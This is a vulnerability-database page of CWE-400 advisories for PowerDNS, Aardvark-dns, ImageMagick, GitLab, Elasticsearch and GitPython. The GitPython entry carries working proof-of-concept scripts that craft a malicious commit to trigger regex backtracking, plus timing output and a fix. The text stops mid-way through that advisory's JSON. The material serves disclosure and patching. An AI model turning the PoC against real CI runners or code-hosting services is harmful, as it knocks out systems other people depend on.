Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

6392 vulnerabilities reference this CWE, most recent first.

GHSA-G5GV-J2X8-CXR2

Vulnerability from github – Published: 2022-05-24 17:18 – Updated: 2022-05-24 17:18
VLAI
Details

PowerDNS Recursor from 4.1.0 up to and including 4.3.0 does not sufficiently defend against amplification attacks. An issue in the DNS protocol has been found that allow malicious parties to use recursive DNS services to attack third party authoritative name servers. The attack uses a crafted reply by an authoritative name server to amplify the resulting traffic between the recursive and other authoritative name servers. Both types of service can suffer degraded performance as an effect. This is triggered by random subdomains in the NSDNAME in NS records. PowerDNS Recursor 4.1.16, 4.2.2 and 4.3.1 contain a mitigation to limit the impact of this DNS protocol issue.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-10995"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-05-19T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "PowerDNS Recursor from 4.1.0 up to and including 4.3.0 does not sufficiently defend against amplification attacks. An issue in the DNS protocol has been found that allow malicious parties to use recursive DNS services to attack third party authoritative name servers. The attack uses a crafted reply by an authoritative name server to amplify the resulting traffic between the recursive and other authoritative name servers. Both types of service can suffer degraded performance as an effect. This is triggered by random subdomains in the NSDNAME in NS records. PowerDNS Recursor 4.1.16, 4.2.2 and 4.3.1 contain a mitigation to limit the impact of this DNS protocol issue.",
  "id": "GHSA-g5gv-j2x8-cxr2",
  "modified": "2022-05-24T17:18:06Z",
  "published": "2022-05-24T17:18:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-10995"
    },
    {
      "type": "WEB",
      "url": "https://doc.powerdns.com/recursor/security-advisories/powerdns-advisory-2020-01.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NMP72NJGKBWR5WEBXAWX5KSLQUDFTG6S"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PS4ZN5XGENYNFKX7QIIOUCQQHXE37GJF"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2020/dsa-4691"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00052.html"
    },
    {
      "type": "WEB",
      "url": "http://www.nxnsattack.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G5JH-57WM-P79M

Vulnerability from github – Published: 2024-09-04 15:30 – Updated: 2025-05-14 19:15
VLAI
Summary
Missing connection timeout in Aardvark-dns
Details

A flaw was found in Aardvark-dns versions 1.12.0 and 1.12.1. They contain a denial of service vulnerability due to serial processing of TCP DNS queries. This flaw allows a malicious client to keep a TCP connection open indefinitely, causing other DNS queries to time out and resulting in a denial of service for all other containers using aardvark-dns.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "aardvark-dns"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.12.0"
            },
            {
              "fixed": "1.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-8418"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-04T17:22:36Z",
    "nvd_published_at": "2024-09-04T15:15:15Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in Aardvark-dns versions 1.12.0 and 1.12.1. They contain a denial of service vulnerability due to serial processing of TCP DNS queries. This flaw allows a malicious client to keep a TCP connection open indefinitely, causing other DNS queries to time out and resulting in a denial of service for all other containers using aardvark-dns.",
  "id": "GHSA-g5jh-57wm-p79m",
  "modified": "2025-05-14T19:15:26Z",
  "published": "2024-09-04T15:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8418"
    },
    {
      "type": "WEB",
      "url": "https://github.com/containers/aardvark-dns/issues/500"
    },
    {
      "type": "WEB",
      "url": "https://github.com/containers/aardvark-dns/pull/503"
    },
    {
      "type": "WEB",
      "url": "https://github.com/containers/aardvark-dns/commit/aa109bbd6743abd7027e589cc4b871dd2dce7d50"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:7094"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-8418"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2309683"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/containers/aardvark-dns"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Missing connection timeout in Aardvark-dns"
}

GHSA-G5MF-WQQ5-VWG6

Vulnerability from github – Published: 2026-05-18 20:33 – Updated: 2026-06-11 14:04
VLAI
Summary
ImageMagick: Policy Bypass in MNG coder could
Details

Because of a missing check in the MNG coder it would be possible to read more images than the list limit policy would allow resulting in excessive resource use.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45664"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407",
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T20:33:59Z",
    "nvd_published_at": "2026-06-10T22:16:58Z",
    "severity": "MODERATE"
  },
  "details": "Because of a missing check in the MNG coder it would be possible to read more images than the list limit policy would allow resulting in excessive resource use.",
  "id": "GHSA-g5mf-wqq5-vwg6",
  "modified": "2026-06-11T14:04:48Z",
  "published": "2026-05-18T20:33:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-g5mf-wqq5-vwg6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45664"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ImageMagick/ImageMagick"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ImageMagick: Policy Bypass in MNG coder could "
}

GHSA-G5MF-XW7V-RMR9

Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-05-24 17:34
VLAI
Details

A potential DOS vulnerability was discovered in GitLab CE/EE starting with version 12.6. The container registry name check could cause exponential number of backtracks for certain user supplied values resulting in high CPU usage. Affected versions are: >=12.6, <13.3.9.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-13354"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-17T01:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A potential DOS vulnerability was discovered in GitLab CE/EE starting with version 12.6. The container registry name check could cause exponential number of backtracks for certain user supplied values resulting in high CPU usage. Affected versions are: \u003e=12.6, \u003c13.3.9.",
  "id": "GHSA-g5mf-xw7v-rmr9",
  "modified": "2022-05-24T17:34:24Z",
  "published": "2022-05-24T17:34:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13354"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/869875"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-13354.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/220019"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-G5RR-FGVG-Q29H

Vulnerability from github – Published: 2026-07-21 21:32 – Updated: 2026-07-21 21:32
VLAI
Details

Uncontrolled Resource Consumption (CWE-400) in Elasticsearch can lead to denial of service via Excessive Allocation (CAPEC-130). A user with search privileges can submit a specially crafted search request that causes a data node to exhaust available heap memory, resulting in node unavailability and cluster degradation. An attacker could leverage this vulnerability to cause cluster downtime requiring manual intervention to restore service.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-63136"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T21:16:52Z",
    "severity": "MODERATE"
  },
  "details": "Uncontrolled Resource Consumption (CWE-400) in Elasticsearch can lead to denial of service via Excessive Allocation (CAPEC-130). A user with search privileges can submit a specially crafted search request that causes a data node to exhaust available heap memory, resulting in node unavailability and cluster degradation. An attacker could leverage this vulnerability to cause cluster downtime requiring manual intervention to restore service.",
  "id": "GHSA-g5rr-fgvg-q29h",
  "modified": "2026-07-21T21:32:42Z",
  "published": "2026-07-21T21:32:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63136"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/elasticsearch-8-19-15-9-2-9-9-3-4-security-update-esa-2026-60/388559"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G5VV-9GXW-82HX

Vulnerability from github – Published: 2026-09-30 23:29 – Updated: 2026-09-30 23:29
VLAI
Summary
GitPython: Denial of Service via catastrophic backtracking (ReDoS) in Actor.name_email_regex — commit author/committer field parsing
Details

Summary

GitPython's Actor.name_email_regex regular expression (git/util.py, line 863) is vulnerable to catastrophic backtracking (ReDoS — Regular Expression Denial of Service). When GitPython parses the author or committer header of a git commit object that contains a long string with an unterminated < (no matching >), the Python regex engine enters quadratic backtracking, causing complete single-threaded CPU exhaustion proportional to the square of the input length.

A single crafted commit object can block any GitPython API call that reads .author or .committer for over two minutes per invocation, enabling denial of service against CI runners, code-hosting backends, repository-scanning pipelines, or any service that processes commits from third-party or untrusted repositories.

Details

Vulnerable file and line:

git/util.py, line 863:

name_email_regex = re.compile(r"(.*) <(.*?)>")

This regex is evaluated inside Actor._from_string() (line 909) every time GitPython resolves a commit's .author or .committer property.

Full call chain — from public API to vulnerable sink:

commit.author # any ordinary GitPython API call └── git/objects/commit.py:917 Commit._deserialize() └── git/objects/util.py:341 parse_actor_and_date(author_line) └── git/util.py:909 Actor._from_string(string) └── Actor.name_email_regex.search(string) ← VULNERABLE

author_line is decoded directly from the raw bytes of the git commit object with no length limit, character restriction, or timeout applied at any point before reaching the regex engine. The same chain is triggered by: - commit.author - commit.committer - repo.iter_commits() - repo.blame() - Any web service / CI tool that displays or processes commit metadata

Why this pattern backtracks catastrophically:

The pattern (.*) <(.*?)> contains an unbounded greedy group (.*) followed by a literal space and <. When the input is a long string that contains < but no closing >, the regex engine must try every possible split position for the greedy group — O(n²) candidate positions for a string of length n — each of which then drives the inner lazy group into further sub-match attempts. This is the well-documented "catastrophic backtracking" failure mode for this family of patterns.

Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba):

Author field length (bytes) Time to resolve .author
1,000 0.0035 s
5,000 0.084 s
10,000 0.341 s
20,000 1.525 s
40,000 5.963 s
60,000 13.360 s
80,000 23.871 s
200,000 150.488 s

Each doubling of input size roughly quadruples processing time (e.g. 40,000 → 80,000 bytes: 5.96 s → 23.87 s ≈ 4.0×), confirming O(n²) growth. Git itself imposes no practical size limit on author name fields in the object format.

How the malicious object reaches a victim:

The PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git loose object written directly into .git/objects/. git cat-file -t <sha> confirms it is a valid commit type and git's own read-side tools display it without error. Only git's write-side tooling (git commit --author, git update-index, explicit git fsck) applies the sanity checks that would reject a malformed author line. Delivery paths that bypass those checks include:

  • A git server with receive.fsckObjects = false (common in self-hosted deployments)
  • A .git directory shipped as a tarball, backup, or zip archive
  • A git bundle file
  • Any automated mirror or import tool that operates at the object level

PoC

Environment used for testing: - GitPython 3.1.59, installed in editable mode from source (no code modifications) - Python 3.12.3, git 2.43.0, Ubuntu 24.04

Script 1 — craft the malicious repository (craft_malicious_repo.py):

#!/usr/bin/env python3
"""
Creates a git repository with one commit whose 'author' field is a large
string containing an unterminated '<'. Bypasses git's write-side sanity
checks by writing the raw object directly into .git/objects/.

Usage: python3 craft_malicious_repo.py <target_dir> <payload_size_bytes>
"""
import hashlib, os, subprocess, sys, zlib

def run(cmd, cwd):
    return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True)

def main():
    if len(sys.argv) != 3:
        print(f"usage: {sys.argv[0]} <target_dir> <payload_size_bytes>")
        sys.exit(1)

    target_dir, payload_size = sys.argv[1], int(sys.argv[2])

    os.makedirs(target_dir, exist_ok=True)
    run(["git", "init", "--quiet"], cwd=target_dir)
    run(["git", "config", "user.email", "poc@example.com"], cwd=target_dir)
    run(["git", "config", "user.name", "PoC"], cwd=target_dir)

    with open(os.path.join(target_dir, "README.txt"), "w") as f:
        f.write("GitPython ReDoS PoC repository\n")
    run(["git", "add", "README.txt"], cwd=target_dir)
    tree_sha = run(["git", "write-tree"], cwd=target_dir).stdout.strip()

    malicious_name = "A" * payload_size
    # Key: author field contains a '<' with no closing '>'
    author_line    = f"author {malicious_name} <unterminated 1691999972 -0700"
    committer_line = "committer PoC <poc@example.com> 1691999972 -0700"
    message        = "ReDoS PoC commit"

    commit_content = (
        f"tree {tree_sha}\n{author_line}\n{committer_line}\n\n{message}\n"
    ).encode()

    header     = f"commit {len(commit_content)}\x00".encode()
    store      = header + commit_content
    sha        = hashlib.sha1(store).hexdigest()
    compressed = zlib.compress(store)

    objdir = os.path.join(target_dir, ".git", "objects", sha[:2])
    os.makedirs(objdir, exist_ok=True)
    with open(os.path.join(objdir, sha[2:]), "wb") as f:
        f.write(compressed)

    run(["git", "update-ref", "refs/heads/master", sha], cwd=target_dir)

    print(f"Malicious commit sha : {sha}")
    print(f"Payload size         : {payload_size} bytes")
    verify = subprocess.run(
        ["git", "cat-file", "-t", sha],
        cwd=target_dir, capture_output=True, text=True
    )
    print(f"git cat-file -t confirms: {verify.stdout.strip()}")

if __name__ == "__main__":
    main()

Script 2 — trigger the vulnerability (trigger_redos.py):

#!/usr/bin/env python3
"""
Opens the repository with GitPython and times commit.author access,
which triggers Actor._from_string() -> Actor.name_email_regex.search().

Usage: python3 trigger_redos.py <repo_dir> <commit_sha>
"""
import sys, time, git

def main():
    if len(sys.argv) != 3:
        print(f"usage: {sys.argv[0]} <repo_dir> <commit_sha>")
        sys.exit(1)

    repo   = git.Repo(sys.argv[1])
    commit = repo.commit(sys.argv[2])

    print("Accessing commit.author — triggers Actor._from_string()...")
    t0     = time.time()
    author = commit.author          # ← this single line causes the hang
    elapsed = time.time() - t0

    print(f"Author name length : {len(author.name)} chars")
    print(f"Elapsed            : {elapsed:.3f} seconds")
    print("RESULT: VULNERABLE" if elapsed > 5 else "RESULT: not triggered")

if __name__ == "__main__":
    main()

Execution and observed output:

$ python3 craft_malicious_repo.py /tmp/victim-repo 200000 Malicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de Payload size : 200000 bytes git cat-file -t confirms: commit

$ python3 trigger_redos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de Accessing commit.author — triggers Actor._from_string()... Author name length : 200014 chars Elapsed : 150.488 seconds RESULT: VULNERABLE

Docker reproduction (fully isolated environment):

docker run --rm -it -v ~/gitpython-poc:/work -w /work python:3.8-bookworm bash

# Inside the container:
apt-get update && apt-get install -y git
git clone --depth 1 https://github.com/gitpython-developers/GitPython.git /work/GitPython
pip install -e /work/GitPython

python3 /work/poc/craft_malicious_repo.py /work/victim-repo 200000
# note the SHA printed, then:
python3 /work/poc/trigger_redos.py /work/victim-repo <SHA>

The python:3.8-bookworm base image matches the one used in GitPython's own fuzzing/local-dev-helpers/Dockerfile.

Impact

Who is affected:

Any application that uses GitPython to parse commits from a source it does not fully control. High-risk deployments include:

  • CI/CD systems (Jenkins, GitLab CI, GitHub Actions self-hosted runners, etc.) that clone and inspect third-party pull requests — one malicious commit in a PR can stall every worker that processes it.
  • Code-hosting or code-review web services that render commit author information — a single crafted push blocks every page render or API response that touches that commit's metadata.
  • Security or compliance scanners that walk repository history across many repositories — one crafted object in any repository exhausts a scanner worker.

Severity of impact:

A 200 KB author field blocks a process for ~150 seconds per single .author access. When iter_commits() or blame are used, every commit in a history traversal can be independently crafted, multiplying the total hang time by the number of commits processed. There is no confidentiality or integrity impact — this is a pure availability / resource-exhaustion vulnerability.

Suggested Fix

Replace the vulnerable pattern with one that cannot backtrack catastrophically. The minimal, behavior-preserving fix is to exclude < and > from the name group, removing the ambiguity that forces O(n²) backtracking:

# git/util.py, line 863
# Before (vulnerable):
name_email_regex = re.compile(r"(.*) <(.*?)>")

# After (fixed — identical output for all well-formed input):
name_email_regex = re.compile(r"([^<>]*) <([^<>]*)>")

Because the name group can no longer itself contain a < character, the engine has exactly one candidate position to try when a closing > is absent — and fails in O(n) time instead of O(n²). Legitimate actor strings (Name <email>) never contain < or > in either field, so this change produces identical results for all valid input.

As defense in depth, independently of the regex fix, bounding the maximum number of characters GitPython will attempt to parse in an author/committer line (e.g. rejecting strings longer than 4096 bytes before passing them to any regex) would further limit the blast radius of any future ReDoS class in this parser.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.59"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "GitPython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.60"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-87819"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-30T23:29:14Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nGitPython\u0027s `Actor.name_email_regex` regular expression (`git/util.py`, line 863)\nis vulnerable to catastrophic backtracking (ReDoS \u2014 Regular Expression Denial of\nService). When GitPython parses the `author` or `committer` header of a git commit\nobject that contains a long string with an unterminated `\u003c` (no matching `\u003e`), the\nPython regex engine enters quadratic backtracking, causing complete single-threaded\nCPU exhaustion proportional to the square of the input length.\n\nA single crafted commit object can block any GitPython API call that reads\n`.author` or `.committer` for **over two minutes per invocation**, enabling denial\nof service against CI runners, code-hosting backends, repository-scanning\npipelines, or any service that processes commits from third-party or untrusted\nrepositories.\n\n---\n\n### Details\n\n**Vulnerable file and line:**\n\n`git/util.py`, line 863:\n\n```python\nname_email_regex = re.compile(r\"(.*) \u003c(.*?)\u003e\")\n```\n\nThis regex is evaluated inside `Actor._from_string()` (line 909) every time\nGitPython resolves a commit\u0027s `.author` or `.committer` property.\n\n**Full call chain \u2014 from public API to vulnerable sink:**\n\n\n\n\ncommit.author # any ordinary GitPython API call\n\u2514\u2500\u2500 git/objects/commit.py:917\nCommit._deserialize()\n\u2514\u2500\u2500 git/objects/util.py:341\nparse_actor_and_date(author_line)\n\u2514\u2500\u2500 git/util.py:909\nActor._from_string(string)\n\u2514\u2500\u2500 Actor.name_email_regex.search(string) \u2190 VULNERABLE\n\n\n\n\n`author_line` is decoded directly from the raw bytes of the git commit object with\n**no length limit, character restriction, or timeout** applied at any point before\nreaching the regex engine. The same chain is triggered by:\n- `commit.author`\n- `commit.committer`\n- `repo.iter_commits()`\n- `repo.blame()`\n- Any web service / CI tool that displays or processes commit metadata\n\n**Why this pattern backtracks catastrophically:**\n\nThe pattern `(.*) \u003c(.*?)\u003e` contains an unbounded greedy group `(.*)` followed by\na literal space and `\u003c`. When the input is a long string that contains `\u003c` but no\nclosing `\u003e`, the regex engine must try every possible split position for the greedy\ngroup \u2014 O(n\u00b2) candidate positions for a string of length n \u2014 each of which then\ndrives the inner lazy group into further sub-match attempts. This is the\nwell-documented \"catastrophic backtracking\" failure mode for this family of\npatterns.\n\n**Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba):**\n\n| Author field length (bytes) | Time to resolve `.author` |\n|-----------------------------|--------------------------|\n| 1,000  | 0.0035 s |\n| 5,000  | 0.084 s  |\n| 10,000 | 0.341 s  |\n| 20,000 | 1.525 s  |\n| 40,000 | 5.963 s  |\n| 60,000 | 13.360 s |\n| 80,000 | 23.871 s |\n| **200,000** | **150.488 s** |\n\nEach doubling of input size roughly quadruples processing time (e.g. 40,000 \u2192\n80,000 bytes: 5.96 s \u2192 23.87 s \u2248 4.0\u00d7), confirming O(n\u00b2) growth. Git itself\nimposes **no practical size limit** on author name fields in the object format.\n\n**How the malicious object reaches a victim:**\n\nThe PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git\nloose object written directly into `.git/objects/`. `git cat-file -t \u003csha\u003e` confirms\nit is a valid `commit` type and git\u0027s own read-side tools display it without error.\nOnly git\u0027s write-side tooling (`git commit --author`, `git update-index`,\nexplicit `git fsck`) applies the sanity checks that would reject a malformed author\nline. Delivery paths that bypass those checks include:\n\n- A git server with `receive.fsckObjects = false` (common in self-hosted deployments)\n- A `.git` directory shipped as a tarball, backup, or zip archive\n- A git bundle file\n- Any automated mirror or import tool that operates at the object level\n\n---\n\n### PoC\n\n**Environment used for testing:**\n- GitPython 3.1.59, installed in editable mode from source (no code modifications)\n- Python 3.12.3, git 2.43.0, Ubuntu 24.04\n\n**Script 1 \u2014 craft the malicious repository (`craft_malicious_repo.py`):**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCreates a git repository with one commit whose \u0027author\u0027 field is a large\nstring containing an unterminated \u0027\u003c\u0027. Bypasses git\u0027s write-side sanity\nchecks by writing the raw object directly into .git/objects/.\n\nUsage: python3 craft_malicious_repo.py \u003ctarget_dir\u003e \u003cpayload_size_bytes\u003e\n\"\"\"\nimport hashlib, os, subprocess, sys, zlib\n\ndef run(cmd, cwd):\n    return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True)\n\ndef main():\n    if len(sys.argv) != 3:\n        print(f\"usage: {sys.argv[0]} \u003ctarget_dir\u003e \u003cpayload_size_bytes\u003e\")\n        sys.exit(1)\n\n    target_dir, payload_size = sys.argv[1], int(sys.argv[2])\n\n    os.makedirs(target_dir, exist_ok=True)\n    run([\"git\", \"init\", \"--quiet\"], cwd=target_dir)\n    run([\"git\", \"config\", \"user.email\", \"poc@example.com\"], cwd=target_dir)\n    run([\"git\", \"config\", \"user.name\", \"PoC\"], cwd=target_dir)\n\n    with open(os.path.join(target_dir, \"README.txt\"), \"w\") as f:\n        f.write(\"GitPython ReDoS PoC repository\\n\")\n    run([\"git\", \"add\", \"README.txt\"], cwd=target_dir)\n    tree_sha = run([\"git\", \"write-tree\"], cwd=target_dir).stdout.strip()\n\n    malicious_name = \"A\" * payload_size\n    # Key: author field contains a \u0027\u003c\u0027 with no closing \u0027\u003e\u0027\n    author_line    = f\"author {malicious_name} \u003cunterminated 1691999972 -0700\"\n    committer_line = \"committer PoC \u003cpoc@example.com\u003e 1691999972 -0700\"\n    message        = \"ReDoS PoC commit\"\n\n    commit_content = (\n        f\"tree {tree_sha}\\n{author_line}\\n{committer_line}\\n\\n{message}\\n\"\n    ).encode()\n\n    header     = f\"commit {len(commit_content)}\\x00\".encode()\n    store      = header + commit_content\n    sha        = hashlib.sha1(store).hexdigest()\n    compressed = zlib.compress(store)\n\n    objdir = 